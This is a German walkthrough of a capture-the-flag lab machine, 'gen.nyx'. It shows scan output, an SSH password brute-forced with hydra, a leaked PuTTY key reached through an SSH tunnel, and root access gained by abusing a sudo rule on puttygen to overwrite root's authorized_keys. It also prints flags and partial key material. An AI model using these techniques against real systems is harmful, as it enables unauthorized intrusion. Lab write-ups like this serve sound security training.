Interface: eth0, type: EN10MB, MAC: 08:00:27:30:2e:da, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.122 08:00:27:d2:60:53 PCS Systemtechnik GmbH
[...]
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.411 seconds (181.43 hosts/sec). 1 responded
Analyse: Der ARP-Scan identifiziert die Ziel-IP `192.168.2.122` mit der MAC-Adresse `08:00:27:d2:60:53` (VirtualBox).
Bewertung: Zielsystem im lokalen Netz gefunden.
Empfehlung (Pentester): Ziel-IP notieren, Hostnamen in `/etc/hosts` eintragen.
Empfehlung (Admin): Netzwerksegmentierung kann die Erkennung erschweren.
127.0.0.1 localhost 192.168.2.122 gen.nyx
Analyse: Der Hostname `gen.nyx` wird der Ziel-IP `192.168.2.122` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Erleichtert die Adressierung des Ziels.
22/tcp open ssh OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.57 ((Debian))
Analyse: Ein schneller Nmap TCP SYN Scan (`-sS`) mit Skripten, Versionserkennung etc. (`-sC -sV -A`) über alle Ports (`-p-`) findet Port 22 (SSH, OpenSSH 9.2p1) und Port 80 (HTTP, Apache 2.4.57) offen.
Bewertung: Identifiziert die primären Dienste. Die Versionen sind relativ aktuell für Debian 12.
Empfehlung (Pentester): Führen Sie einen vollständigen Scan durch, um Details zu bestätigen. Untersuchen Sie den Webserver auf Port 80.
Empfehlung (Admin): Dienste aktuell halten.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 16:27 CEST Nmap scan report for gen.nyx (192.168.2.122) Host is up (0.00020s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA) |_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-server-header: Apache/2.4.57 (Debian) |_http-title: Site doesn't have a title (text/html). MAC Address: 08:00:27:D2:60:53 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.20 ms gen.nyx (192.168.2.122) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.88 seconds
Analyse: Die vollständige Nmap-Ausgabe bestätigt die Details für SSH (Port 22) und HTTP (Port 80). Die Webseite hat keinen Titel.
Bewertung: Bestätigt die offenen Ports und Versionen. Keine ungewöhnlichen Dienste gefunden.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.122 + Target Hostname: 192.168.2.122 + Target Port: 80 + Start Time: 2024-08-26 16:28:53 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 611f, size: 61143bc38afbe, mtime: gzip. [...] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . <-- Korrigierte Reihenfolge + 8102 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-08-26 16:29:09 (GMT2) (16 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto findet keine kritischen Schwachstellen auf Port 80, nur die üblichen Hinweise auf fehlende Sicherheitsheader und ETag-Leak.
Bewertung: Der Webserver selbst scheint nicht direkt angreifbar.
Empfehlung (Pentester): Fokus auf Verzeichnis-/Datei-Enumeration.
Empfehlung (Admin): Sicherheitsheader implementieren.
=============================================================== Gobuster v3.6 [...] =============================================================== [+] Url: http://gen.nyx [...] =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 24863] /note.txt (Status: 200) [Size: 239] <-- Interessant! =============================================================== Finished
Analyse: Gobuster findet die `index.html` und eine Datei namens `note.txt` im Web-Root.
Bewertung: `note.txt` ist ein vielversprechender Fund, da solche Dateien oft wichtige Hinweise oder Zugangsdaten enthalten.
Empfehlung (Pentester): Lesen Sie den Inhalt von `note.txt`.
Empfehlung (Admin): Speichern Sie keine sensiblen Informationen in Textdateien im Web-Root.
Hello Mark, - We have secured the internal server and it is now available on port 9999. - There you will find Peter private key (don't forget that it has a different format and he has to convert it for it to work). Thanks.
Analyse: Der Inhalt von `note.txt` wird angezeigt. Die Nachricht ist an "Mark" gerichtet und erwähnt einen internen Server auf Port 9999, auf dem ein privater Schlüssel für "Peter" zu finden ist. Es wird darauf hingewiesen, dass der Schlüssel ein "anderes Format" hat und konvertiert werden muss.
Bewertung: Kritische Informationspreisgabe! Enthält Benutzernamen (`Mark`, `Peter`), einen Port für einen internen Dienst (9999) und den Speicherort eines privaten Schlüssels. Der Hinweis auf das Format deutet möglicherweise auf einen PuTTY-Schlüssel (.ppk) hin.
Empfehlung (Pentester):
1. Versuchen Sie, das Passwort für den Benutzer `Mark` per SSH (Port 22) zu bruteforcen (da die Notiz an ihn gerichtet ist).
2. Richten Sie ein SSH Port Forwarding ein (`ssh -L 9999:127.0.0.1:9999 mark@gen.nyx`), um auf den internen Dienst auf Port 9999 zugreifen zu können.
3. Untersuchen Sie den Dienst auf Port 9999 (wahrscheinlich ein Webserver) auf den erwähnten Schlüssel für `Peter`.
Empfehlung (Admin): Hinterlassen Sie niemals solche Notizen auf einem Webserver! Sichern Sie interne Dienste ordnungsgemäß ab und verhindern Sie den Zugriff von außen (auch über Port Forwarding).
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak [...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-26 16:35:26
[...]
[DATA] attacking ssh://192.168.2.122:22/
[...]
[22][ssh] host: 192.168.2.122 login: mark password: genesis
1 of 1 target successfully completed, 1 valid password found
[...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-26 16:37:41
Analyse: Hydra wird verwendet, um das SSH-Passwort für den Benutzer `mark` (aus `note.txt`) mit der `rockyou.txt`-Liste zu bruteforcen.
Bewertung: Erfolg! Das Passwort `genesis` wird für `mark` gefunden.
Empfehlung (Pentester): Melden Sie sich als `mark` per SSH an. Richten Sie das Port Forwarding für Port 9999 ein.
Empfehlung (Admin): Verwenden Sie starke Passwörter. Implementieren Sie Schutz vor Brute-Force-Angriffen.
The authenticity of host '192.168.2.122 (192.168.2.122)' can't be established. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.122' (ED25519) to the list of known hosts. mark@192.168.2.122's password: genesis <-- Passwort eingegeben Linux gen 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64 Warning! You are accessing a private system of an organization. Please note that all activities carried out on this system may be monitored and recorded. Any unauthorized use is strictly prohibited. If you are not authorized to access this system or are unsure of your privileges, log out immediately. By accessing this system, you agree to comply with the policies and procedures established by the organization. Regards.<-- Login erfolgreich, MOTD angezeigt
Analyse: Erfolgreicher SSH-Login als Benutzer `mark` mit dem Passwort `genesis`. Eine Warnmeldung (MOTD - Message of the Day) wird angezeigt.
Bewertung: Initial Access als Benutzer `mark` erlangt.
Empfehlung (Pentester): Führen Sie grundlegende Enumeration als `mark` durch. Richten Sie das Port Forwarding für Port 9999 ein.
Empfehlung (Admin): MOTD kann zur Abschreckung dienen, ersetzt aber keine technischen Sicherheitsmaßnahmen.
http://gen.nyx/ ......+...+...+..+...+.......+++++++++++++++++++++++++++++++++++++++*...+.........+.....+......+.......+++++++++++++++++++++++++++++++++++++++*....+...+.......+......+..+....+...+...+.....+...+.+...+..+.+...............+...+.........+..+...+................+..+...+.........+.+...........+..........+...++++++ .........+........+.+..+...+.......+..+......+.+...+++++++++++++++++++++++++++++++++++++++*.............+...+...+++++++++++++++++++++++++++++++++++++++*..........+.........+.........+..+....+..+.........+...+.......+..............+.+.....+.+.........+...........+....+.....+...+......+....+...+............+...+...+...........+....+...............+..+...+.+.....+...+.+.....+.+.........+.....+.+...+........+.......+...+...+.....+....+...+.........+...........+....+...+...+.....+.......+...+........+......+......+...+.........+...+.......+........+.......+............+..........................+...+.......+..+......+...................+............+...+...+...+.....+....+..+.............+..+....+..+...+.+......+..+.+......+........+.+.....+.+.........+......++++++
Analyse: Der Quellcode oder die Ausgabe der Webseite auf Port 80 (`http://gen.nyx/`) enthält eine lange Zeichenkette aus `.` , `+` und `*`. Dies sieht stark nach Brainfuck-Code aus.
Bewertung: Ungewöhnlicher Fund. Dieser Code könnte eine Nachricht oder einen Hinweis enthalten, wenn er ausgeführt wird.
Empfehlung (Pentester): Kopieren Sie den Brainfuck-Code und führen Sie ihn in einem Online-Interpreter (z.B. dcode.fr) aus, um zu sehen, was er tut oder ausgibt.
Empfehlung (Admin): Entfernen Sie solchen Code von Webseiten.
https://www.dcode.fr/brainfuck-language Memory Dump: [index] = char (ASCII code) [0] = \x00 (0) [1] = e (101) [2] = o (111) pointer = 1
Analyse: Der Brainfuck-Code wird in einem Interpreter ausgeführt. Das Ergebnis im Speicher (Memory Dump) an den relevanten Zellen ist 'eo'.
Bewertung: Der Brainfuck-Code scheint keine nützliche Information zu liefern, möglicherweise nur ein Easter Egg oder eine falsche Fährte.
mark@192.168.2.122's password: genesis <-- Passwort eingegeben [...] <-- MOTD
Analyse: Eine neue SSH-Verbindung als `mark` wird aufgebaut. Dabei wird lokales Port Forwarding (`-L`) verwendet: Der lokale Port 9999 des Angreifer-Systems wird an den Port 9999 auf dem Loopback-Interface (`127.0.0.1`) des Zielsystems weitergeleitet.
Bewertung: Korrekte Methode, um auf den internen Dienst zuzugreifen, der laut `note.txt` auf Port 9999 lauscht.
Empfehlung (Pentester): Untersuchen Sie nun den Dienst, der auf `http://localhost:9999` (auf dem Angreifer-System) erreichbar ist.
Empfehlung (Admin): Beschränken Sie SSH Port Forwarding, wenn möglich (`AllowTcpForwarding no` in `sshd_config`).
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 127.0.0.1:9999 0.0.0.0:* users:(("ssh",pid=14033,fd=5)) [...] LISTEN 0 128 [::1]:9999 [::]:* users:(("ssh",pid=14033,fd=4)) [...]
Analyse: `ss -altpn` auf dem Angreifer-System bestätigt, dass der SSH-Prozess nun auf den lokalen Ports 9999 (IPv4 und IPv6) lauscht, bereit, Verbindungen weiterzuleiten.
Bewertung: Bestätigt die erfolgreiche Einrichtung des Tunnels.
Welcome to nginx!
If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.
For online documentation and support please refer to nginx.org.
Commercial support is available at nginx.com.
Thank you for using nginx.
Analyse: Der Zugriff auf `http://localhost:9999` (über den SSH-Tunnel) zeigt eine Standard-Nginx-Willkommensseite.
Bewertung: Der interne Dienst auf Port 9999 ist ein Nginx-Webserver.
Empfehlung (Pentester): Führen Sie Verzeichnis- und Datei-Enumeration (z.B. mit Gobuster) gegen `http://localhost:9999` durch, um nach versteckten Inhalten zu suchen, insbesondere nach dem erwähnten Schlüssel für "Peter".
Empfehlung (Admin): Sichern Sie auch interne Webserver ab. Entfernen Sie Standardseiten.
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url: http://127.0.0.1:9999/
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Extensions: pub,ppk,pem,key
[+] Status codes: 200,204,301,302,307,401,403,405,500
[...]
===============================================================
Starting gobuster
===============================================================
/id_rsa.ppk (Status: 200) [Size: 2061]
===============================================================
Finished
Analyse: Gobuster wird gegen den internen Nginx-Server auf Port 9999 ausgeführt. Es wird gezielt nach Dateien mit Schlüssel-typischen Endungen (`.pub`, `.ppk`, `.pem`, `.key`) gesucht.
Bewertung: Erfolg! Gobuster findet die Datei `id_rsa.ppk`.
Empfehlung (Pentester): Laden Sie die Datei `http://localhost:9999/id_rsa.ppk` herunter. Analysieren Sie sie. `.ppk` ist das Format für PuTTY Private Keys.
Empfehlung (Admin): Speichern Sie niemals private Schlüssel im Web-Root, auch nicht von internen Servern!
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: peter@gen <-- Schlüssel gehört 'peter@gen'
Public-Lines: 9
AAAAB3NzaC1yc2EAAAADAQABAAABgQCXderHTJk9bVra4jc/M2n19+YfuaXgkRot
[...]
Private-Lines: 21
AAABgAZr2uTRNAv9J2VxQstcqCjj9i8xJT20mSoCMoKpJC584JbGy3Ez4UtZKQtm
[...]
Private-MAC: ddf613a5fe1b8e368671e046193ec282600331b31e39f575a344c3bb23248d6b
Analyse: Die heruntergeladene Datei `id_rsa.ppk` wird angezeigt. Es handelt sich um einen unverschlüsselten (`Encryption: none`) PuTTY Private Key für den Benutzer `peter@gen` (wahrscheinlich Benutzer `peter` auf Host `gen`).
Bewertung: Bestätigt den Fund des privaten Schlüssels für Benutzer `peter`, wie in `note.txt` angekündigt. Das PuTTY-Format muss für die Verwendung mit dem Standard-OpenSSH-Client konvertiert werden.
Empfehlung (Pentester): Verwenden Sie `puttygen` (unter Linux oder Windows), um den `.ppk`-Schlüssel in das OpenSSH-Format zu konvertieren: `puttygen id_rsa.ppk -O private-openssh -o id_rsa`. Versuchen Sie dann, sich als `peter` mit dem konvertierten Schlüssel per SSH anzumelden.
Empfehlung (Admin): Schlüssel sicher verwalten!
Analyse: `puttygen` wird verwendet, um den heruntergeladenen `.ppk`-Schlüssel in das OpenSSH-Format zu konvertieren und als `id_rsa` zu speichern.
Bewertung: Erfolgreiche Konvertierung des Schlüssels.
[...]<-- Host Key Abfrage/Warnung, falls noch nicht bekannt
uid=1001(peter) gid=1001(peter) groups=1001(peter)
Analyse: Erfolgreicher SSH-Login als Benutzer `peter` unter Verwendung des konvertierten, unverschlüsselten privaten Schlüssels.
Bewertung: Horizontale Rechteausweitung von `mark` zu `peter` erfolgreich.
Empfehlung (Pentester): Führen Sie Enumeration als `peter` durch (`sudo -l`, Home-Verzeichnis etc.).
Empfehlung (Admin): Überprüfen Sie SSH-Schlüssel und Zugriffsrechte.
917654 60 -rwsr-xr-x 1 root root 59704 mar 23 2023 /usr/bin/mount 914039 52 -rwsr-xr-x 1 root root 52880 mar 23 2023 /usr/bin/chsh 914042 68 -rwsr-xr-x 1 root root 68248 mar 23 2023 /usr/bin/passwd 918251 72 -rwsr-xr-x 1 root root 72000 mar 23 2023 /usr/bin/su 943185 276 -rwsr-xr-x 1 root root 281624 jun 27 2023 /usr/bin/sudo 914041 88 -rwsr-xr-x 1 root root 88496 mar 23 2023 /usr/bin/gpasswd 914038 64 -rwsr-xr-x 1 root root 62672 mar 23 2023 /usr/bin/chfn 917656 36 -rwsr-xr-x 1 root root 35128 mar 23 2023 /usr/bin/umount 917500 48 -rwsr-xr-x 1 root root 48896 mar 23 2023 /usr/bin/newgrp 922664 52 -rwsr-xr-- 1 root messagebus 51272 sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 918689 640 -rwsr-xr-x 1 root root 653888 dic 19 2023 /usr/lib/openssh/ssh-keysign
Analyse: Suche nach SUID-Dateien als `peter`.
Bewertung: Findet nur Standard-Binaries.
total 24
drwxr-x--- 3 peter peter 4096 feb 13 2024 .
drwxr-xr-x 4 root root 4096 feb 13 2024 ..
lrwxrwxrwx 1 root root 9 feb 13 2024 .bash_history -> /dev/null
-rw-r--r-- 1 peter peter 220 abr 23 2023 .bash_logout
-rw-r--r-- 1 peter peter 3526 abr 23 2023 .bashrc
-rw-r--r-- 1 peter peter 807 abr 23 2023 .profile
drwx------ 2 peter peter 4096 feb 13 2024 .ssh
total 16 drwx------ 2 peter peter 4096 feb 13 2024 . drwxr-x--- 3 peter peter 4096 feb 13 2024 .. -rw------- 1 peter peter 563 feb 13 2024 authorized_keys <-- Enthält nur den Public Key des verwendeten Private Keys -rw------- 1 peter peter 2590 feb 13 2024 id_rsa <-- Der Private Key selbst (OpenSSH Format)
Analyse: Auflistung des Home-Verzeichnisses und des `.ssh`-Verzeichnisses von `peter`. Bestätigt die Existenz des Schlüsselpaares.
Bewertung: Keine neuen Angriffspunkte hier gefunden.
Analyse: Der Angreifer wechselt zurück zum Benutzer `mark` mit `su mark` und dem Passwort `genesis`. Dies ist ein ungewöhnlicher Schritt, da `peter` bereits erreicht wurde. Möglicherweise hat `peter` keine `sudo`-Rechte, während `mark` welche hat.
Bewertung: Taktischer Wechsel zurück zu `mark`, um dessen `sudo`-Rechte zu nutzen.
Password:<-- genesis
Matching Defaults entries for mark on gen:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User mark may run the following commands on gen:
(root) NOPASSWD: /usr/bin/puttygen
Analyse: `sudo -l` für `mark` zeigt, dass dieser `/usr/bin/puttygen` als `root` ohne Passwort (`NOPASSWD`) ausführen darf.
Bewertung: Kritischer Fund! `puttygen` ist ein Werkzeug zur Schlüsselgenerierung und -konvertierung. Wenn es als `root` ausgeführt werden kann, kann es missbraucht werden, um Dateien als `root` zu schreiben, insbesondere öffentliche SSH-Schlüssel in die `authorized_keys`-Datei von `root`.
Empfehlung (Pentester):
1. Generieren Sie ein neues SSH-Schlüsselpaar auf dem Zielsystem als `mark` (z.B. mit `puttygen -t rsa -o id_rsa_new`).
2. Verwenden Sie `sudo /usr/bin/puttygen id_rsa_new -O public-openssh -o /root/.ssh/authorized_keys`, um den öffentlichen Teil des neuen Schlüssels in die `authorized_keys`-Datei von `root` zu schreiben. Die `-O public-openssh` Option extrahiert den öffentlichen Schlüssel im richtigen Format.
3. Melden Sie sich als `root` per SSH mit dem neuen privaten Schlüssel (`id_rsa_new`) an.
Empfehlung (Admin): Gewähren Sie niemals `sudo`-Rechte für Schlüsselgenerierungs- oder Konvertierungstools wie `puttygen` oder `ssh-keygen`, insbesondere nicht als `root`.
d045787a2743570b0dc1aea01fc952ce
Analyse: Die User-Flag für `mark` wird gelesen.
Bewertung: User-Flag erfolgreich erhalten.
Analyse: Der folgende Abschnitt demonstriert die Eskalation zu `root` durch Ausnutzung der `sudo`-Regel für `puttygen`.
Bewertung: Erfolgreiche Ausnutzung der unsicheren `sudo`-Konfiguration. Durch das Schreiben des eigenen öffentlichen Schlüssels in die `authorized_keys` von `root` wird der SSH-Zugang als `root` ermöglicht.
Empfehlung (Pentester): Root-Zugriff erlangt. Flags suchen.
Empfehlung (Admin): Entfernen Sie die `sudo`-Regel für `puttygen`.
Enter passphrase to save key:Re-enter passphrase to verify:
total 44 drwxr-x--- 4 mark mark 4096 ago 26 17:11 . drwxr-xr-x 4 root root 4096 feb 13 2024 .. [...] -rw------- 1 mark mark 1743 ago 26 17:11 id_rsa <-- Neuer privater Schlüssel -rw-r--r-- 1 mark mark 397 ago 26 17:11 id_rsa.pub <-- Neuer öffentlicher Schlüssel [...] -r--r--r-- 1 mark mark 33 feb 13 2024 user.txt
Enter passphrase to load key:
The authenticity of host 'localhost (127.0.0.1)' can't be established. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
uid=0(root) gid=0(root) groups=0(root)
Analyse: Erfolgreicher SSH-Login als `root` mit dem neu generierten Schlüssel.
Bewertung: Root-Zugriff bestätigt.
root.txt
f003a3bc3ff27072d6ac2c7a1ab63254
d045787a2743570b0dc1aea01fc952ce
Analyse: Die Root-Flag wird aus `/root/root.txt` und die User-Flag aus `/home/mark/user.txt` ausgelesen.
Bewertung: Beide Flags erfolgreich gefunden.